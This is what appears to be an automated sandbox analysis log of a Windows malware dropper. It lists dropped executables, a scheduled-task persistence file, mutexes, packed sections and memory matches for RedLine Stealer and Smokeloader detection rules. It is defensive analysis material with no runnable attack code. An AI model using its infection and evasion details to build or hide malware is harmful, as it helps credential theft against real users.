Source: ba17bbfb21.exe.6.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_c55e8ce8-b

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: 4611cc433b.exe.6.dr	Static PE information: section name:
Source: 4611cc433b.exe.6.dr	Static PE information: section name: .idata
Source: 4611cc433b.exe.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: 79ddad050f.exe.6.dr	Static PE information: section name:
Source: 79ddad050f.exe.6.dr	Static PE information: section name: .idata
Source: 79ddad050f.exe.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: e051bdf457.exe.6.dr	Static PE information: section name:
Source: e051bdf457.exe.6.dr	Static PE information: section name: .idata
Source: e051bdf457.exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: 734386a52c.exe.6.dr	Static PE information: section name:
Source: 734386a52c.exe.6.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_0020CB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

6_2_0020CB97

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AD78BB	0_2_00AD78BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AD8860	0_2_00AD8860
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AD7049	0_2_00AD7049
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AD31A8	0_2_00AD31A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BA81D3	0_2_00BA81D3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A94B30	0_2_00A94B30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BA7B6E	0_2_00BA7B6E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A94DE0	0_2_00A94DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AD2D10	0_2_00AD2D10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AD779B	0_2_00AD779B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AC7F36	0_2_00AC7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00238860	2_2_00238860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00237049	2_2_00237049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_002378BB	2_2_002378BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_002331A8	2_2_002331A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_001F4B30	2_2_001F4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00232D10	2_2_00232D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_001F4DE0	2_2_001F4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00227F36	2_2_00227F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0023779B	2_2_0023779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00238860	3_2_00238860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00237049	3_2_00237049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_002378BB	3_2_002378BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_002331A8	3_2_002331A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_001F4B30	3_2_001F4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00232D10	3_2_00232D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_001F4DE0	3_2_001F4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00227F36	3_2_00227F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_0023779B	3_2_0023779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001FE530	6_2_001FE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00216192	6_2_00216192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00238860	6_2_00238860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001F4B30	6_2_001F4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00232D10	6_2_00232D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001F4DE0	6_2_001F4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00210E13	6_2_00210E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00237049	6_2_00237049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_002331A8	6_2_002331A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00211602	6_2_00211602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0023779B	6_2_0023779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_002378BB	6_2_002378BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00213DF1	6_2_00213DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00227F36	6_2_00227F36
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_3_04D1FD00	7_3_04D1FD00
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_3_04D1DF87	7_3_04D1DF87
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_3_04D29706	7_3_04D29706
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_3_04D13120	7_3_04D13120
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_3_04D122C0	7_3_04D122C0
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_3_04D1E2C9	7_3_04D1E2C9
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_3_04D24AEE	7_3_04D24AEE
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_3_04D1AA90	7_3_04D1AA90
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_3_04D25219	7_3_04D25219
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_3_04D14350	7_3_04D14350
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_00402EC0	7_2_00402EC0
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_00404F50	7_2_00404F50
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_00410900	7_2_00410900
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_0041A306	7_2_0041A306
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_0040EB87	7_2_0040EB87
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_00403D20	7_2_00403D20
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_00415E19	7_2_00415E19
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_0040EEC9	7_2_0040EEC9
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_004156EE	7_2_004156EE
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_0040B690	7_2_0040B690
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_1000E184	7_2_1000E184
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_100102A0	7_2_100102A0
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_0099A491	7_2_0099A491
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_009954B8	7_2_009954B8
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_009390A7	7_2_009390A7
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_008258DC	7_2_008258DC
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_009A10F3	7_2_009A10F3
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_008B782B	7_2_008B782B
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_0085252E	7_2_0085252E
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_0099397E	7_2_0099397E
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_0099DA9C	7_2_0099DA9C
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_00991EBE	7_2_00991EBE
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_0099C618	7_2_0099C618
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_00998A27	7_2_00998A27
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_00944675	7_2_00944675
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_0084C79E	7_2_0084C79E
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_0091C7F6	7_2_0091C7F6
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_0086FBEA	7_2_0086FBEA
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_00939B50	7_2_00939B50
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_0094BB62	7_2_0094BB62
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_00AAEE5A	7_2_00AAEE5A
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_00A20315	7_2_00A20315
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_04B751B7	7_2_04B751B7
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_04B7EDEE	7_2_04B7EDEE
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_04B73F87	7_2_04B73F87
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_04B7B8F7	7_2_04B7B8F7
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_04B751B7	7_2_04B751B7
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_04B7F130	7_2_04B7F130
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_04B85955	7_2_04B85955
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: 7_2_04B80B67	7_2_04B80B67
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61EAD2AC	9_2_61EAD2AC
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E4B8A1	9_2_61E4B8A1
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E75F1F	9_2_61E75F1F
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E40065	9_2_61E40065
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E9E24F	9_2_61E9E24F
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E5023C	9_2_61E5023C
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E62554	9_2_61E62554
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E9A4A7	9_2_61E9A4A7
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E4E4BF	9_2_61E4E4BF
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E94783	9_2_61E94783
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E7A790	9_2_61E7A790
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E18736	9_2_61E18736
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E86668	9_2_61E86668
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E58670	9_2_61E58670
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E10856	9_2_61E10856
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61EA0BA9	9_2_61EA0BA9
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E62CA3	9_2_61E62CA3
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E98FE2	9_2_61E98FE2
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E88FCA	9_2_61E88FCA
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E52F80	9_2_61E52F80
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61EA2F47	9_2_61EA2F47
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E56F18	9_2_61E56F18
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E4CEF9	9_2_61E4CEF9
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E1EEFF	9_2_61E1EEFF
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E64E0C	9_2_61E64E0C
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61EA91F6	9_2_61EA91F6
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E9316A	9_2_61E9316A
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E9F0ED	9_2_61E9F0ED
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61EA70CF	9_2_61EA70CF
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E9D0C3	9_2_61E9D0C3
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E8D0B6	9_2_61E8D0B6
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E6904E	9_2_61E6904E
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E4304E	9_2_61E4304E
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E15337	9_2_61E15337
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E19208	9_2_61E19208
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E534E3	9_2_61E534E3
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E77452	9_2_61E77452
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E37930	9_2_61E37930
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E7B85E	9_2_61E7B85E
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E21816	9_2_61E21816
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E9FBF0	9_2_61E9FBF0
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E55BD7	9_2_61E55BD7
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61EA5B62	9_2_61EA5B62
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E91DC1	9_2_61E91DC1
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E6DDA5	9_2_61E6DDA5
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E31DAB	9_2_61E31DAB
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E95D7A	9_2_61E95D7A
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E5BC4C	9_2_61E5BC4C
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E25FA2	9_2_61E25FA2
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E1DEC2	9_2_61E1DEC2
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E69E8F	9_2_61E69E8F
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E89E0E	9_2_61E89E0E

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00AA80C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: String function: 0040A760 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: String function: 04D19B60 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: String function: 10003160 appears 34 times
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Code function: String function: 04B7A9C7 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0020DF80 appears 82 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0020D942 appears 86 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0020D663 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0020D64E appears 79 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00228E10 appears 47 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00207A00 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 002080C0 appears 393 times

Source: random[1].exe.6.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: 4611cc433b.exe.6.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000007.00000002.3265730716.0000000000FFC000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000007.00000002.3279910131.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: random[1].exe0.6.dr	Static PE information: Section: ZLIB complexity 0.9976143490484429
Source: random[1].exe0.6.dr	Static PE information: Section: sbjgrbkb ZLIB complexity 0.9943977255293035
Source: 79ddad050f.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9976143490484429
Source: 79ddad050f.exe.6.dr	Static PE information: Section: sbjgrbkb ZLIB complexity 0.9943977255293035
Source: random[1].exe1.6.dr	Static PE information: Section: dnuvwdxn ZLIB complexity 0.9948512815427621
Source: e051bdf457.exe.6.dr	Static PE information: Section: dnuvwdxn ZLIB complexity 0.9948512815427621

Source: random[1].exe.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 4611cc433b.exe.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@67/35@29/16

Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe

Code function: 7_2_00402A20 VirtualProtect,GetLastError,FormatMessageA,LocalAlloc,OutputDebugStringA,LocalFree,LocalFree,LocalFree,

7_2_00402A20

Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe

Code function: 7_2_00FFD63E CreateToolhelp32Snapshot,Module32First,

7_2_00FFD63E

Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe

Code function: 7_2_00401940 HttpAddRequestHeadersA,InternetSetFilePointer,InternetReadFile,HttpQueryInfoA,CoCreateInstance,

7_2_00401940

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3812:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4404:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6116:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3448:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6680:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Command line argument: emp		7_2_00408770
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Command line argument: mixtwo		7_2_00408770

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: e051bdf457.exe, 00000009.00000002.3297911095.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, e051bdf457.exe, 00000009.00000002.3288701516.0000000005AA6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: e051bdf457.exe, 00000009.00000002.3297911095.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, e051bdf457.exe, 00000009.00000002.3288701516.0000000005AA6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
